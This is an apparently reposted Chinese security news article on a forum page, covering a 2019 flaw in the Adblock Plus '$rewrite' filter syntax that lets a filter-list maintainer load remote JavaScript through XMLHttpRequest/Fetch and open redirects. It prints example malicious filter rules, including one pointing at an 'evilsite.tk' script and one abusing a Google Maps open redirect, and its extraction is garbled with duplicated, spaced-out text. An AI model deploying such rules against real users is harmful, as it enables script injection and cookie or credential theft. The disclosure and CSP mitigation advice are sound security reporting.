搜索

[13993] 2019-04-16_AdblockPlus订阅列表机制存在漏洞，可用于运行恶意代码

文档创建者：s7ckTeam
浏览次数：29
最后更新：2025-01-18
2019-04-16_AdblockPlus订阅列表机制存在漏洞，可用于运行恶意代码 A d b l o c k   P l u s 订 阅 列 表 机 制 存 在 漏 洞 ， 可 用 于 运 行 恶 意 代 码 F r e d d y   F r e e B u f   2 0 1 9 - 0 4 - 1 6 国 外 安 全 专 家 国 外 安 全 专 家 S e b a s t i a n 近 日 发 现 近 日 发 现 A d b l o c k   P l u s 、 、 A d B l o c k 和 和 u B l o c k e r 浏 览 器 扩 展 的 广 告 拦 截 过 滤 器 列 表 存 在 漏 浏 览 器 扩 展 的 广 告 拦 截 过 滤 器 列 表 存 在 漏 洞 ， 攻 击 者 可 以 利 用 该 漏 洞 运 行 恶 意 代 码 ， 可 窃 取 用 户 的 洞 ， 攻 击 者 可 以 利 用 该 漏 洞 运 行 恶 意 代 码 ， 可 窃 取 用 户 的 c o o k i e 、 登 录 凭 据 、 进 行 页 面 重 定 向 或 其 他 恶 意 行 、 登 录 凭 据 、 进 行 页 面 重 定 向 或 其 他 恶 意 行 为 。 受 影 响 的 扩 展 拥 有 超 过 为 。 受 影 响 的 扩 展 拥 有 超 过 1 亿 活 跃 用 户 ， 并 且 该 功 能 可 以 轻 松 利 用 以 攻 击 任 何 足 够 复 杂 的 亿 活 跃 用 户 ， 并 且 该 功 能 可 以 轻 松 利 用 以 攻 击 任 何 足 够 复 杂 的 W e b 服 务 （ 如 服 务 （ 如 G o o g l e 服 务 ） ， 而 攻 击 很 难 检 测 并 且 可 以 在 所 有 主 流 浏 览 器 中 实 现 。 服 务 ） ， 而 攻 击 很 难 检 测 并 且 可 以 在 所 有 主 流 浏 览 器 中 实 现 。 “ $   r e w r i t e ” 语 法 语 法 一 个 广 告 屏 蔽 插 件 通 常 分 为 两 个 部 分 ： 插 件 本 身 和 订 阅 列 表 。 订 阅 列 表 包 含 对 于 各 类 恶 意 网 址 、 广 告 或 者 插 件 的 屏 蔽 信 息 ， 大 多 都 支 持 正 则 表 达 式 。 而 插 件 本 身 则 在 读 取 这 些 订 阅 列 表 后 进 行 相 应 的 操 作 ， 比 如 浏 览 器 连 接 到 列 表 中 的 网 址 或 者 阻 止 恶 意 广 告 和 脚 本 。 举 个 例 子 ， 下 方 是 热 门 的 订 阅 过 滤 器 E a s y L i s t 的 内 容 ： 2 0 1 8 年 ， A d b l o c k   P l u s   3 . 2 发 布 时 ， 添 加 了 一 个 名 为   新 语 法 ， 允 许 列 表 维 护 者 将 与 特 定 正 则 表 达 式 匹 配 的 W e b 请 求 替 换 为 另 一 个 U R L 。 替 换 字 符 串 必 须 是 相 对 应 的 U R L ， 不 包 含 主 机 名 ， 并 且 在 重 写 时 必 须 与 原 始 请 求 位 于 同 $   r e w r i t e
一 域 中 。 举 个 例 子 ， 在 订 阅 列 表 中 添 加 以 下 过 滤 规 则 可 将 e x a m p l e . c o m / a d . g i f 的 所 有 请 求 都 替 换 为 e x a m p l e . c o m / p u p p i e s . g i f 。 因 此 ， 页 面 上 的 对 应 位 置 不 会 显 示 广 告 ， 而 是 更 换 为 小 狗 照 片 。 由 于 重 写 的 U R L 必 须 与 原 始 U R L 位 于 同 一 源 ， 并 且 必 须 是 相 对 U R L ， 因 此 以 下   实 例 是 无 效 的 。 在 新 增 该 语 法 之 处 ， 开 发 者 考 虑 到 了 可 能 引 发 的 安 全 隐 患 ， 所 以 当 重 写 的 对 象 为 、 、 和 时 ， 该 语 法 失 效 。 那 么 在 这 些 限 制 的 加 持 下 ， 如 何 利 用 该 语 法 运 行 恶 意 代 码 ？ X M L H t t p R e q u e s t 和 和 F e t c h 当 使 用 X M L H t t p R e q u e s t 或 F e t c h 下 载 代 码 并 执 行 时 ， 可 以 利 用 此 过 滤 器 语 法 使 用 W e b 服 务 ， 同 时 允 许 请 求 任 意 来 源 并 于 服 务 器 端 开 放 重 定 向 。 这 样 的 攻 击 难 以 检 测 ， 因 为 该 扩 展 插 件 会 定 期 更 新 过 滤 器 列 表 ， 只 要 该 列 表 的 维 护 人 员 为 恶 意 过 滤 器 列 表 设 置 一 个 较 短 的 过 期 时 间 ， 然 后 将 其 替 换 为 没 问 题 的 过 滤 器 列 表 。 要 利 用 该 漏 洞 需 要 满 足 以 下 条 件 ： 1 .   页 面 必 须 使 用 X M L H t t p R e q u e s t 或 F e t c h 加 载 J S 字 符 串 并 执 行 返 回 的 代 码 ； 2 .   页 面 不 能 严 格 部 署 了 C S P 策 略 ， 或 者 在 执 行 下 载 的 代 码 之 前 不 能 验 证 最 终 请 求 U R L ； 3 .   获 取 代 码 的 来 源 必 须 支 持 服 务 器 端 的 重 定 向 或 者 内 容 托 管 。 关 键 就 是 使 用 X M L H t t p R e q u e s t 或 F e t c h 来 下 载 脚 本 和 打 开 重 定 向 功 能 ， 使 得 攻 击 者 能 够 从 远 程 站 点 通 过 X M L H t t p R e q u e s t 读 取 脚 本 ， 而 此 时 对 于 插 件 而 言 看 起 来 仍 是 同 一 个 来 源 。 比 如 访 问 量 非 常 大 的 G o o g l e   M a p s 站 点 就 可 以 利 用 X M L H t t p R e q u e s t 加 载 脚 本 ， 因 为 它 的 搜 索 结 果 页 面 中 包 含 一 个 开 放 重 定 向 ： 根 据 上 述 规 则 ， 当 用 户 访 问 w w w . g o o g l e . c o m / m a p s / 时 ， 过 滤 规 则 将 使 用 G o o g l e 开 放 重 定 向 来 读 取 h t t p s : / / m a j e s t i c - r a m s o n s . h e r o k u a p p . c o m / 的 内 容 。 | | e x a m p l e . c o m / a d . g i f $ r e w r i t e = / p u p p i e s . g i f $   r e w r i t e | | e x a m p l e . c o m / a d s . j s $ r e w r i t e = [ h t t p s : / / e v i l s i t e . t k / b w a h a h a . j s ] ( h t t p s : / / e v i l s i t e . t k / b w a h a h a . j s ) S C R I P T S U B D O C U M E N T O B J E C T O B J E C T _ S U B R E Q U E S T / ^ [ h t t p s : / / w w w . g o o g l e . c o m / m a p s / _ / j s / k = . ] ( h t t p s : / / w w w . g o o g l e . c o m / m a p s / _ / j s / k = . ) * / m = p w / . * / r s = . * / $ r e w r i t e = / s e a r c h ? h l = e n - U S & s o u r c e = h p & b i w = & b i h = & q = m a j e s t i c - r a m s o n s . h e r o k u a p p . c o m & b t n I = I % 2 7 m + F e e l i n g + L u c k y & g b v = 1
运 行 远 程 脚 本 由 于 打 开 的 重 定 向 u r l 位 于 同 一 个 源 或 域 中 ， 允 许 读 取 字 符 串 并 将 其 作 为 J a v a S c r i p t 执 行 ， 导 致 警 报 ： 远 程 脚 本 显 示 警 报 风 险 与 后 续 风 险 与 后 续 虽 然 更 改 过 滤 器 页 表 的 方 法 有 很 多 ， 这 不 是 最 严 重 的 一 个 ， 但 S e b a s t i a n 担 心 别 有 用 心 的 列 表 维 护 者 会 利 用 该 漏 洞 发 起 难 以 检 测 的 针 对 性 攻 击 ， 比 如 2 0 1 8 年 ， 一 个 不 署 名 的 列 表 维 护 者 因 为 政 治 原 因 该 写 了 某 个 订 阅 列 表 ， 导 致 大 量 声 援 抗 议 活 动 的 工 会 网 站 在 该 广 告 屏 蔽 插 件 的 作 用 下 出 现 问 题 。 S e b a s t i a n 向 谷 歌 报 告 了 该 漏 洞 ， 但 谷 歌 坚 称 开 放 重 定 向 是 他 们 一 贯 的 立 场 ： G o o g l e 已 收 到 有 关 此 漏 洞 的 通 知 ， 但 该 报 告 已 作 为 ” 预 期 行 为 “ 被 关 闭 ， 因 为 他 们 认 为 潜 在 的 安 全 问 题 仅 存 在 于 上 述 浏 览 器 扩 展 中 。 实 际 上 该 漏 洞 可 以 用 于 一 系 列 供 应 链 攻 击 ， S e b a s t i a n 建 议 网 站 使 用 C S P 标 头 和 c o n n e c t - s r c 选 项 来 指 定 可 以 从 中 加 载 脚 本 的 站 点 的 白 名 单 ， 以 降 低 安 全 风 险 。
* 参 考 来 源 ： a r m i n ， F r e d d y 编 译 整 理 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理